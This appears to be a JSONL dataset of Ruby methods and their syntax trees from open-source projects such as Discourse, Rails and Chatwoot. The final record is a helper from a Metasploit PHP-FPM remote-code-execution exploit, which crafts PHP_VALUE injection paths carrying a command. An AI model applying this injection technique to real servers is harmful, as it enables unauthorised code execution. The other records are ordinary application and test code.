{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/controllers/devise_overrides/omniauth_callbacks_controller.rb","start_line":12,"raw_source":"def sign_in_user\n    @resource.skip_confirmation! if confirmable_enabled?\n\n    # once the resource is found and verified\n    # we can just send them to the login page again with the SSO params\n    # that will log them in\n    encoded_email = ERB::Util.url_encode(@resource.email)\n    redirect_to login_page_url(email: encoded_email, sso_auth_token: @resource.generate_sso_auth_token)\n  end","complexity_score":9.9,"ast_json":"{\"type\":\"def\",\"children\":[\"sign_in_user\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"confirmable_enabled?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@resource\"]},\"skip_confirmation!\"]},null]},{\"type\":\"lvasgn\",\"children\":[\"encoded_email\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ERB\"]},\"Util\"]},\"url_encode\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@resource\"]},\"email\"]}]}]},{\"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"send\",\"children\":[null,\"login_page_url\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"email\"]},{\"type\":\"lvar\",\"children\":[\"encoded_email\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sso_auth_token\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@resource\"]},\"generate_sso_auth_token\"]}]}]}]}]}]}]}","id":"9144cdf7-f87a-4bd0-86c6-ba9b87e22012"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/presence_channel.rb","start_line":187,"raw_source":"def user_ids\n    state.user_ids\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"user_ids\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"state\"]},\"user_ids\"]}]}","id":"ff865cb8-c1cb-40f2-b7e2-7a185b3a171a"}
{"repo_name":"forem","file_path":"./repos/forem/app/services/exporter/comments.rb","start_line":10,"raw_source":"def export(id_code: nil)\n      comments = user.comments\n      comments = comments.where(id_code: id_code) if id_code.present?\n\n      { \"#{name}.json\" => jsonify(comments) }\n    end","complexity_score":9.4,"ast_json":"{\"type\":\"def\",\"children\":[\"export\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"id_code\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"comments\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"comments\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"id_code\"]},\"present?\"]},{\"type\":\"lvasgn\",\"children\":[\"comments\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"comments\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id_code\"]},{\"type\":\"lvar\",\"children\":[\"id_code\"]}]}]}]}]},null]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"name\"]}]},{\"type\":\"str\",\"children\":[\".json\"]}]},{\"type\":\"send\",\"children\":[null,\"jsonify\",{\"type\":\"lvar\",\"children\":[\"comments\"]}]}]}]}]}]}","id":"40d4d9de-e7d3-4368-a5ef-5980c0b84031"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/file_helper.rb","start_line":223,"raw_source":"def self.supported_playable_media_regexp\n    @@supported_playable_media_regexp ||=\n      begin\n        media = supported_audio | supported_video\n        /\\.(#{media.to_a.join(\"|\")})\\z/i\n      end\n  end","complexity_score":7.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"supported_playable_media_regexp\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"cvasgn\",\"children\":[\"@@supported_playable_media_regexp\"]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"media\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"supported_audio\"]},\"|\",{\"type\":\"send\",\"children\":[null,\"supported_video\"]}]}]},{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\.(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"media\"]},\"to_a\"]},\"join\",{\"type\":\"str\",\"children\":[\"|\"]}]}]},{\"type\":\"str\",\"children\":[\")\\\\z\"]},{\"type\":\"regopt\",\"children\":[\"i\"]}]}]}]}]}","id":"0ba5fa25-35d5-471e-83be-ef9b53ac6a66"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/services/problem_check/s3_upload_config.rb","start_line":16,"raw_source":"def missing_keys?\n    return false if SiteSetting.s3_use_iam_profile\n\n    SiteSetting.s3_access_key_id.blank? || SiteSetting.s3_secret_access_key.blank?\n  end","complexity_score":7.8,"ast_json":"{\"type\":\"def\",\"children\":[\"missing_keys?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"s3_use_iam_profile\"]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"s3_access_key_id\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"s3_secret_access_key\"]},\"blank?\"]}]}]}]}","id":"1d65afe3-22b2-4372-8a53-dfe33e443f88"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/lib/ai_helper/painter.rb","start_line":6,"raw_source":"def commission_thumbnails(input, user)\n        return [] if input.blank?\n\n        model = SiteSetting.ai_helper_illustrate_post_model\n\n        if model == \"stable_diffusion_xl\"\n          stable_diffusion_prompt = diffusion_prompt(input, user)\n          return [] if stable_diffusion_prompt.blank?\n\n          artifacts =\n            DiscourseAi::Inference::StabilityGenerator\n              .perform!(stable_diffusion_prompt)\n              .dig(:artifacts)\n              .to_a\n              .map { |art| art[:base64] }\n\n          base64_to_image(artifacts, user.id)\n        elsif model == \"dall_e_3\"\n          llm_model = find_llm_model_for_feature(\"illustrate_post\")\n          LlmCreditAllocation.check_credits!(llm_model) if llm_model\n\n          attribution =\n            I18n.t(\n              \"discourse_ai.ai_helper.painter.attribution.#{SiteSetting.ai_helper_illustrate_post_model}\",\n            )\n          results =\n            DiscourseAi::Inference::OpenAiImageGenerator.create_uploads!(\n              input,\n              model: \"dall-e-3\",\n              user_id: user.id,\n              title: attribution,\n            )\n          results.map { |result| UploadSerializer.new(result[:upload], root: false) }\n        end\n      end","complexity_score":44.4,"ast_json":"{\"type\":\"def\",\"children\":[\"commission_thumbnails\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"input\"]},{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"input\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"model\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"ai_helper_illustrate_post_model\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model\"]},\"==\",{\"type\":\"str\",\"children\":[\"stable_diffusion_xl\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"stable_diffusion_prompt\",{\"type\":\"send\",\"children\":[null,\"diffusion_prompt\",{\"type\":\"lvar\",\"children\":[\"input\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stable_diffusion_prompt\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"artifacts\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscourseAi\"]},\"Inference\"]},\"StabilityGenerator\"]},\"perform!\",{\"type\":\"lvar\",\"children\":[\"stable_diffusion_prompt\"]}]},\"dig\",{\"type\":\"sym\",\"children\":[\"artifacts\"]}]},\"to_a\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"art\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"art\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"base64\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"base64_to_image\",{\"type\":\"lvar\",\"children\":[\"artifacts\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"id\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model\"]},\"==\",{\"type\":\"str\",\"children\":[\"dall_e_3\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"llm_model\",{\"type\":\"send\",\"children\":[null,\"find_llm_model_for_feature\",{\"type\":\"str\",\"children\":[\"illustrate_post\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"llm_model\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"LlmCreditAllocation\"]},\"check_credits!\",{\"type\":\"lvar\",\"children\":[\"llm_model\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"attribution\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"discourse_ai.ai_helper.painter.attribution.\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"ai_helper_illustrate_post_model\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"results\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscourseAi\"]},\"Inference\"]},\"OpenAiImageGenerator\"]},\"create_uploads!\",{\"type\":\"lvar\",\"children\":[\"input\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"model\"]},{\"type\":\"str\",\"children\":[\"dall-e-3\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"lvar\",\"children\":[\"attribution\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"results\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"result\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UploadSerializer\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"upload\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"root\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]},null]}]}]}]}","id":"6187e511-1908-4b1c-9485-de524fee88e5"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/cache/behaviors/cache_store_version_behavior.rb","start_line":91,"raw_source":"def test_exist_with_model_supporting_cache_version\n    model_name = SecureRandom.alphanumeric\n\n    m1v1 = ModelWithKeyAndVersion.new(\"#{model_name}/1\", 1)\n    m1v2 = ModelWithKeyAndVersion.new(\"#{model_name}/1\", 2)\n\n    value = SecureRandom.alphanumeric\n\n    @cache.write(m1v1, value)\n    assert @cache.exist?(m1v1)\n    assert_not @cache.fetch(m1v2)\n  end","complexity_score":14.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_exist_with_model_supporting_cache_version\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"model_name\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SecureRandom\"]},\"alphanumeric\"]}]},{\"type\":\"lvasgn\",\"children\":[\"m1v1\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ModelWithKeyAndVersion\"]},\"new\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model_name\"]}]},{\"type\":\"str\",\"children\":[\"/1\"]}]},{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"lvasgn\",\"children\":[\"m1v2\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ModelWithKeyAndVersion\"]},\"new\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model_name\"]}]},{\"type\":\"str\",\"children\":[\"/1\"]}]},{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"lvasgn\",\"children\":[\"value\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SecureRandom\"]},\"alphanumeric\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@cache\"]},\"write\",{\"type\":\"lvar\",\"children\":[\"m1v1\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@cache\"]},\"exist?\",{\"type\":\"lvar\",\"children\":[\"m1v1\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_not\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@cache\"]},\"fetch\",{\"type\":\"lvar\",\"children\":[\"m1v2\"]}]}]}]}]}","id":"f5208634-819c-4afc-b313-bc3565173736"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/meeting/app/components/work_package_meetings_tab/index_component.rb","start_line":36,"raw_source":"def initialize(work_package:, agenda_items_grouped_by_meeting:, upcoming_meetings_count:, past_meetings_count:,\n                   direction: :upcoming)\n      super\n\n      @work_package = work_package\n      @agenda_items_grouped_by_meeting = agenda_items_grouped_by_meeting\n      @direction = direction\n      @upcoming_meetings_count = upcoming_meetings_count\n      @past_meetings_count = past_meetings_count\n    end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"work_package\"]},{\"type\":\"kwarg\",\"children\":[\"agenda_items_grouped_by_meeting\"]},{\"type\":\"kwarg\",\"children\":[\"upcoming_meetings_count\"]},{\"type\":\"kwarg\",\"children\":[\"past_meetings_count\"]},{\"type\":\"kwoptarg\",\"children\":[\"direction\",{\"type\":\"sym\",\"children\":[\"upcoming\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@work_package\",{\"type\":\"lvar\",\"children\":[\"work_package\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@agenda_items_grouped_by_meeting\",{\"type\":\"lvar\",\"children\":[\"agenda_items_grouped_by_meeting\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@direction\",{\"type\":\"lvar\",\"children\":[\"direction\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@upcoming_meetings_count\",{\"type\":\"lvar\",\"children\":[\"upcoming_meetings_count\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@past_meetings_count\",{\"type\":\"lvar\",\"children\":[\"past_meetings_count\"]}]}]}]}","id":"7eaaa539-9e53-4da2-8849-8b95141b139d"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/fixture_set/table_row.rb","start_line":186,"raw_source":"def add_join_records(association)\n          # This is the case when the join table has no fixtures file\n          if (targets = @row.delete(association.name.to_s))\n            table_name  = association.join_table\n            column_type = association.primary_key_type\n            lhs_key     = association.lhs_key\n            rhs_key     = association.rhs_key\n\n            targets = targets.is_a?(Array) ? targets : targets.split(/\\s*,\\s*/)\n            joins   = targets.map do |target|\n              join = {}\n\n              if rhs_key.is_a?(Array)\n                composite_key = ActiveRecord::FixtureSet.composite_identify(target, rhs_key)\n                composite_key.each do |column, value|\n                  join[column] = value\n                end\n              else\n                join[rhs_key] = ActiveRecord::FixtureSet.identify(target, column_type)\n              end\n\n              if lhs_key.is_a?(Array)\n                lhs_key.zip(model_metadata.primary_key_name).each do |fkey, pkey|\n                  join[fkey] = @row[pkey]\n                end\n              else\n                join[lhs_key] = @row[model_metadata.primary_key_name]\n              end\n\n              association.timestamp_column_names.each do |col|\n                join[col] = @now\n              end\n              join\n            end\n            @table_rows.tables[table_name].concat(joins)\n          end\n        end","complexity_score":70.4,"ast_json":"{\"type\":\"def\",\"children\":[\"add_join_records\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"association\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"targets\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@row\"]},\"delete\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"association\"]},\"name\"]},\"to_s\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"table_name\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"association\"]},\"join_table\"]}]},{\"type\":\"lvasgn\",\"children\":[\"column_type\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"association\"]},\"primary_key_type\"]}]},{\"type\":\"lvasgn\",\"children\":[\"lhs_key\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"association\"]},\"lhs_key\"]}]},{\"type\":\"lvasgn\",\"children\":[\"rhs_key\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"association\"]},\"rhs_key\"]}]},{\"type\":\"lvasgn\",\"children\":[\"targets\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"targets\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Array\"]}]},{\"type\":\"lvar\",\"children\":[\"targets\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"targets\"]},\"split\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\s*,\\\\s*\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"joins\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"targets\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"target\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"join\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rhs_key\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Array\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"composite_key\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"FixtureSet\"]},\"composite_identify\",{\"type\":\"lvar\",\"children\":[\"target\"]},{\"type\":\"lvar\",\"children\":[\"rhs_key\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"composite_key\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"column\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"join\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"column\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"join\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"rhs_key\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"FixtureSet\"]},\"identify\",{\"type\":\"lvar\",\"children\":[\"target\"]},{\"type\":\"lvar\",\"children\":[\"column_type\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lhs_key\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Array\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lhs_key\"]},\"zip\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model_metadata\"]},\"primary_key_name\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"fkey\"]},{\"type\":\"arg\",\"children\":[\"pkey\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"join\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"fkey\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@row\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"pkey\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"join\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"lhs_key\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@row\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model_metadata\"]},\"primary_key_name\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"association\"]},\"timestamp_column_names\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"col\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"join\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"col\"]},{\"type\":\"ivar\",\"children\":[\"@now\"]}]}]},{\"type\":\"lvar\",\"children\":[\"join\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@table_rows\"]},\"tables\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"table_name\"]}]},\"concat\",{\"type\":\"lvar\",\"children\":[\"joins\"]}]}]},null]}]}","id":"e904e6a3-ac6e-4e88-b745-c1d36e5f1a03"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/php_fpm_rce.rb","start_line":211,"raw_source":"def set_php_setting(php_setting:, qsl:, customh_length:, cmd: '')\n    path = \"/PHP_VALUE\\n#{php_setting}\"\n    pos_offset = 34\n    if path.length > pos_offset\n      vprint_error(\n        \"The path size (#{path.length} bytes) is larger than the allowed size \"\\\n        \"(#{pos_offset} bytes). Choose a shorter php.ini value (current: '#{php_setting}')\"\n      )\n      return nil\n    end\n    path += ';' * (pos_offset - path.length)\n    res = send_crafted_request(\n      path: path,\n      qsl: qsl,\n      customh_length: customh_length,\n      cmd: cmd\n    )\n    unless res\n      vprint_error(\"error while setting #{php_setting} for qsl=#{qsl}, customh_length=#{customh_length}\")\n    end\n    return res\n  end","complexity_score":18.35,"ast_json":"{\"type\":\"def\",\"children\":[\"set_php_setting\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"php_setting\"]},{\"type\":\"kwarg\",\"children\":[\"qsl\"]},{\"type\":\"kwarg\",\"children\":[\"customh_length\"]},{\"type\":\"kwoptarg\",\"children\":[\"cmd\",{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/PHP_VALUE\\n\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"php_setting\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"pos_offset\",{\"type\":\"int\",\"children\":[34]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},\"length\"]},\">\",{\"type\":\"lvar\",\"children\":[\"pos_offset\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"The path size (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},\"length\"]}]},{\"type\":\"str\",\"children\":[\" bytes) is larger than the allowed size \"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pos_offset\"]}]},{\"type\":\"str\",\"children\":[\" bytes). Choose a shorter php.ini value (current: '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"php_setting\"]}]},{\"type\":\"str\",\"children\":[\"')\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]},null]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"path\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\";\"]},\"*\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pos_offset\"]},\"-\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},\"length\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_crafted_request\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"path\"]},{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"qsl\"]},{\"type\":\"lvar\",\"children\":[\"qsl\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"customh_length\"]},{\"type\":\"lvar\",\"children\":[\"customh_length\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"cmd\"]},{\"type\":\"lvar\",\"children\":[\"cmd\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},null,{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"error while setting \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"php_setting\"]}]},{\"type\":\"str\",\"children\":[\" for qsl=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"qsl\"]}]},{\"type\":\"str\",\"children\":[\", customh_length=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"customh_length\"]}]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]}]}]}]}","id":"960f166b-49a8-4be0-b6e8-c5ebfbbda269"}
